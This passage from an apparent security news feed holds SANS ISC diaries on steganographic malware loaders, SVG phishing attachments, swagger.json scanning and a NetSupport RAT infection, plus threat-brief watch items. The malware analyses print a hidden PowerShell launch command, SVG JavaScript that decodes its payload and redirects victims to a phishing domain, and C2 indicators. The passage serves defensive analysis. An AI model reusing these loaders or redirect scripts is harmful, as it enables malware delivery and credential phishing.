• Enforce two-factor authentication on registry maintainer accounts, scope publish tokens narrowly, and alert on anomalous workflow changes in source repositories.

Watch items

• A formal Red Hat post-incident statement and a definitive package and version inventory, including confirmation of the compromised employee-account vector and any downstream notification to consumers.
• Convergence or divergence on attribution. Watch for whether Mandiant or the Google Threat Intelligence Group issues a dedicated note either claiming the Miasma and Phantom Gyp waves as UNC6780 or designating a separate copycat cluster.
• Further binding.gyp and node-gyp install-time abuse beyond the @redhat-cloud-services scope, and whether registry-side or scanner-side detection adapts to install hooks outside package.json.
• The CISA KEV remediation deadline of 2026-06-10. Watch for deadline-driven follow-on guidance, KEV additions covering the Red Hat activity, or disclosure of federal-agency exposure as the date passes.
• Resumption of named-victim extortion. Watch the Vect and CipherForce leak sites for any end to their multi-month dormancy, which would signal a shift back from ecosystem worming to monetization.

A few months ago, I wrote a diary about a payload that was embedded into a JPEG picture. It was a MSI-branded background[1]. Yesterday, I spotted another one! It seems that the technic is getting more and more popular. This time, it started with a mail containing a WeTransfer link.

Often, the WeTransfer brand is abused in phishing emails. Here, it's was an official link: 

hxxps://we[.]tl/t-R4Wv1JkvFfC4Awus

The thread-actor shared the initial file via this platform. The file is a piece of Javascript called "Remittance Advice.js" (SHA256:8a83de81fbac4eb0961f3d58982f299664a5fa4c874c7469e69f85f3fc5bd33f).

The contains a lot of junk code that will just do nothing:

Every for-loop will just move to the next line. In the middle of the file (>2MB), we have the interesting code that will perform the following tasks:

It will decode the next payload in an environment variable:

[Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", <encoded_payload>)

The obfuscation technique used is ROT13, old but still very efficient:

cbjrefuryy.rkr -RkrphgvbaCbyvpl Olcnff -AbCebsvyr -JvaqbjFglyr Uvqqra -Pbzznaq

Decoded, it becomes:

powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command

PowerShell is executed throug WMI:

• winmgmts:root\cimv2: connect to WMI
• Win32_ProcessStartup: configure process startup (hidden window)
• Win32_Process.Create(): spawn the process

The full command is:

powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command [ScriptBlock]::Create(${env:INTERNAL_DB_CACHE})

This code will fetch an MSI background JPEG file from this location:

hxxp://icy-lab-0431[.]guilherme-telecomunicacoes2024[.]workers[.]dev/mCSlB

Note that the threat-actor likes to use well-known services to store his/her payloads. workers.dev is the default, free subdomain provided by Cloudflare for deploying serverless applications[2].

The technique to hide the next payload is the same as my previous diary. The Base64-encode payload is delimited here with "IN-" and "-in1". To defeat simple Base64 lookups, all "A" characters have been replaced by "#". Once decoded, the payload is a .Net DLL (SHA256:184a3008adff54cb345a599b4f3ca0c7bde29d8ac8379783ff40cd4e7ecc931b). It's a modified version of the Microsoft.Win32.TaskScheduler, an open-source .NET library for managing Windows Task Scheduler[3].

The PowerShell payload will also fetch another file that will be passed to the loaded malicious DLL:

hxxps://pub-a06eb79f0ebe4a6999bcc71a2227d8e3[.]r2[.]dev/snake.png

Here again, a legit online service is used. r2.dev is the default domain used by Cloudflare R2 to serve files and assets stored in public cloud-native buckets. It is a globally distributed, S3-compatible object storage service that allows developers to store large amounts of unstructured data[4].

The file looks to be another background and contains probably another payload protected by steganograpy (very common with the .Net loaders):

I'm now reversing the .Net loader. Stay tuned for more details soon!

[1] https://isc.sans.edu/diary/Malicious+Script+Delivering+More+Maliciousness/32682
[2] https://developers.cloudflare.com/workers/
[3] https://github.com/dahall/taskscheduler
[4] https://developers.cloudflare.com/r2/buckets/public-buckets/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

I've been using the GnuWin32 CoreUtils for Windows for many years now (it gives you many *nix core commands on Windows).

Microsoft has just released their coreutils version for Windows.

You can install them with a winget command (winget install Microsoft.Coreutils) or with the installer released on GitHub.

It takes just a few clicks:

It installs a single executable compiled with Rust (coreutils.exe) in the program files folder:

And each individual command is a hard link to this executable:

Here is the full list of commands:

 

arch.cmd
b2sum.cmd
base32.cmd
base64.cmd
basename.cmd
basenc.cmd
cat.cmd
cksum.cmd
comm.cmd
cp.cmd
csplit.cmd
cut.cmd
date.cmd
df.cmd
dirname.cmd
du.cmd
echo.cmd
env.cmd
expr.cmd
factor.cmd
false.cmd
find.cmd
fmt.cmd
fold.cmd
grep.cmd
head.cmd
hostname.cmd
join.cmd
link.cmd
ln.cmd
ls.cmd
md5sum.cmd
mkdir.cmd
mktemp.cmd
mv.cmd
nl.cmd
nproc.cmd
numfmt.cmd
od.cmd
pathchk.cmd
pr.cmd
printenv.cmd
printf.cmd
ptx.cmd
pwd.cmd
readlink.cmd
realpath.cmd
rm.cmd
rmdir.cmd
seq.cmd
sha1sum.cmd
sha224sum.cmd
sha256sum.cmd
sha384sum.cmd
sha512sum.cmd
shuf.cmd
sleep.cmd
sort.cmd
split.cmd
stat.cmd
sum.cmd
tac.cmd
tail.cmd
tee.cmd
test.cmd
touch.cmd
tr.cmd
true.cmd
truncate.cmd
tsort.cmd
unexpand.cmd
uniq.cmd
unlink.cmd
uptime.cmd
wc.cmd
xargs.cmd
yes.cmd

Didier Stevens
Senior handler
blog.DidierStevens.com

Enterprise applications often still use complex standards like SOAP for web services. The big advantage of SOAP is its tight and extensive standards, which enable interoperability across an enterprise governed by web services. The disadvantage of SOAP: First, while it is de facto usually used over HTTP, it does not leverage HTTP, leading to unnecessary complexity. Secondly, kids don't RTFM, and developers these days tend not to appreciate the art of careful system design; they rather throw code at an IDE to see what sticks, if they don't vibe code it anyway. 

So the answer to all of the calls for a simpler standard is the non-standard REST. REST is more a "living standard" defined by commonly used libraries that happen to be popular right now. One of these standards is Swagger, or OpenAPI [1]. A very popular part of Swagger is "swagger.json", a file that defines how to use an API. Some people here may remember "WSDL"s, or good old ".h" files in C/C++. Same idea, but now with more JSON.

From a web application security perspective, swagger.json is like a directory listing for an API. It is not that they are inherently evil or insecure. They are often necessary to allow developers to connect to an API efficiently. But on the other hand, they are also a great roadmap for attackers. So it's no surprise that attackers are looking for them. Not only do they provide a list of API features, but metadata in the description will usually identify the underlying application. It is a great way to find vulnerable applications.

Here are some of the top URLs attackers are scanning recently:

 

URL	First Seen	Last Seen	# of Requests
/swagger.json	2020-12-28	2026-06-03	32,499
/api/v2/swagger.json	2021-01-03	2026-06-02	14,536
/swagger/v1/swagger.json	2020-12-28	2026-06-03	13,791
/api/swagger.json	2020-12-28	2026-06-03	11,100
/api-docs/swagger.json	2020-12-28	2026-06-03	8,693
/v1/swagger.json	2021-01-03	2026-06-02	7,482
/apidocs/swagger.json	2021-01-03	2026-04-26	6,517
/api/v1/swagger.json	2021-03-03	2026-06-02	6,495
/v2/swagger.json	2021-08-07	2026-06-03	1,026
/api/api-docs/swagger.json	2020-12-28	2026-05-12	945

 

And some that started showing up more recently:

URL	First Seen	Last Seen	Number of Requests
/%2Fswagger.json	2026-04-03	2026-04-22	20
/swagger/v2/api-docs/service/swagger.json	2026-02-27	2026-05-24	17
/swagger/v3/api-docs/service/swagger.json	2026-02-27	2026-05-24	17
/26-166/api-docs/swagger.json	2026-01-21	2026-04-18	2
/73/api/apidocs/swagger.json	2026-01-21	2026-04-18	2
/hsd1/api/swagger-ui/swagger.json	2026-01-21	2026-04-18	2
/69/api/api-docs/swagger.json	2026-01-21	2026-04-18	2
/166/api-docs/swagger.json	2026-01-21	2026-04-18	2
/c/api-docs/swagger.json	2026-01-21	2026-04-18	2
/26-166/api/api-docs/swagger.json	2026-01-21	2026-04-18	2

The number of requests is continuously high, but there are spikes and slow times:

But the continuing interest shows that attackers see value here.

What's the lesson? Should you stop using swagger.json? Probably not. Your developers need it. On the other hand, you should be scanning for swagger.json files preemptively in your environment to identify inappropriately published swagger.json files. My intro remarks about REST, while obviously an attempt to finally get someone to read these posts, also point out that with REST, some important design decisions are left up to you, and with lots of freedom comes lots of possibilities to mess things up. 

Any comments on good tools to do so? (yes, more engagement farming. But maybe it will cause me to fix the comment system for this site.

 

[1] https://swagger.io/specification/ 

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

For a few days, my SANS ISC mailbox is flooded with emails that delivers SVG files. An SVG ("Scalable Vector Graphic") is a web-friendly vector file format used for graphics and icons. No URL in the body, just “an image”, that’s the perfect way to deliver some malicious content. This isn’t the first time that we see this technique used by threat actors[1].

This time, the SVG files are really simple and even don’t contain any graphical element but a simple piece of JavaScript that will redirect the victim's browser to the phishing page:

With the current wave, I just detected regular phishing pages but it could be any payload.

The variable “nl” contains the targeted email address:

nl = '$aGFuZGxlcnNAc2Fucy5lZHU='; // “[email protected]”

The interesting payload is in “oa”, it contains a Base64-encode and XOR’d string. The XOR key is in “bd”:

const pt = "b19208caeefa";
const rm = "51d1e7dcd384";
const bd = pt + rm;

The payload is decoded here:

const cx = ['b', 'style', 'o', 't', 'a'];
const kf = self[[cx[4], cx[3], cx[2], cx[0]].join('')];
const ts = kf(oa);
const rabbit = Uint8Array.from(ts, (aa, ak) =>
    aa.charCodeAt(0) ^ bd.charCodeAt(ak % bd.length)
);

Finally, the variable “rabbit” is used to perform the redirect in the browser:

window.location.href = "hxxps://chinougoo[.]cfd/W74rH61S!x7sbhhS0bKPv/" + "[email protected]";

This technique works because SVG files are handled by the browser by default on the Windows operating system. Note the TLD used (".cfd") which means "Clothing, Fashion, and Design". It's a cheap TLD more and more abused in phishing campaigns[2]. 

A final note about the MIME type used in the SVG file: 

<script type="application/ecmascript">

This is a official MIME type for ECMAScript, the standardized specification underlying JavaScript (standard ECMA-262)[3]. This has been used probably to defeat some common security controls that are looking for "JavaScript".

[1] https://isc.sans.edu/diary/Increase+In+Phishing+SVG+Attachments/31456
[2] https://radar.cloudflare.com/tlds/cfd?dateRange=7d
[3] https://github.com/sudheerj/ECMAScript-features

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Introduction

This diary provides indicators from an unidentified RAT infection on Wednesday 2026-05-27 that was followed by a malicious NetSupport Manager RAT package. This originated from the SmartApeSG ClickFix campaign. I still don't know the name of the initial RAT, but it has consistently been generating encoded (not HTTPS/SSL/TLS) traffic to a command and control (C2) server at 89.110.110[.]119 over TCP port 443 since I first noticed it sometime in April 2026.

Images from the infection

Shown above: Fake verification page with ClickFix instructions from the SmartApeSG campaign.

Shown above: Initial RAT malware on an infected Windows host.

Shown above: Follow-up files for NetSupport RAT sent through the initial RAT C2 traffic.

Shown above: NetSupport RAT C2 traffic.

Indicators of Compromise

Example of SmartApeSG URLs seen on Wednesday 2026-05-27:

• hxxps[:]//hiddenplanetlab[.]top/signin/secure-util.js
• hxxps[:]//hiddenplanetlab[.]top/signin/private-template?c66kjD5i
• hxxps[:]//hiddenplanetlab[.]top/signin/legacy-worker.js?18b3825af007e53d

Example of traffic generated by running the associated ClickFix script:

• hxxp[:]//178.156.165[.]82/
• hxxp[:]//178.156.173[.]194/
• hxxps[:]//silverharvestnetwork[.]com/check

Initial RAT C2 traffic:

• tcp[:]//89.110.110[.]119:443/

IP address for NetSupport RAT C2 server:

• hxxp[:]//185.163.47[.]217:443

Files from the infection:

SHA256 hash: 1514b1268e9dc6d2f37137aa38c756cb4bf8186ac9235d6863b78e7f8bbbe976

• File size: 26,555,757 bytes
• File type: Zip archive data, at least v2.0 to extract
• File location: hxxps[:]//silverharvestnetwork[.]com/check
• File description: Zip archive containing software package for the initial RAT.

SHA256 hash: 469bac8e10f50263e8ff0806e6ba126bb4cc660799129a8653eab3f8ec7201e5

• File size: 109 bytes
• File type: ASCII text
• File location: C:\ProgramData\processor.vbs
• File description: Initial script that runs token.bat

SHA256 hash: 9c7eda2c4d3aaa8746495741bef57a07de180f0409409faf0f91658e88ba33f5

• File size: 8,262 bytes
• File type: DOS batch file text, ASCII text, with very long lines
• File location: C:\ProgramData\token.bat
• File description: Batch scrip that extracts, runs, and makes persistent NetSupport RAT from setub.cab

SHA256 hash: 7ba5481c873bb3081442561f749f590badd72ef249fddfe993e30b28dc0c2112

• File size: 17,275,805 bytes
• File type: Microsoft Cabinet archive data
• File location: C:\ProgramData\setup.cab
• File description: CAB file containing malicious NetSupport RAT package
• Contents of this CAB file extracted to: C:\ProgramData\UpdateInstaller\

Note 1: The files processor.vbs, token.bat, and setup.cab are all deleted by the token.bat script after it installs the malicious NetSupport RAT package and makes it persistent on the infected Windows host.

Note 2: The indicators for this activity (domains, file hashes, etc.) change on a daily basis. For more up-to-date indicators on SmartApeSG and similar campaigns, see the @monitorsg feed on Mastodon.

---
Bradley Duncan
brad [at] malware-traffic-analysis.net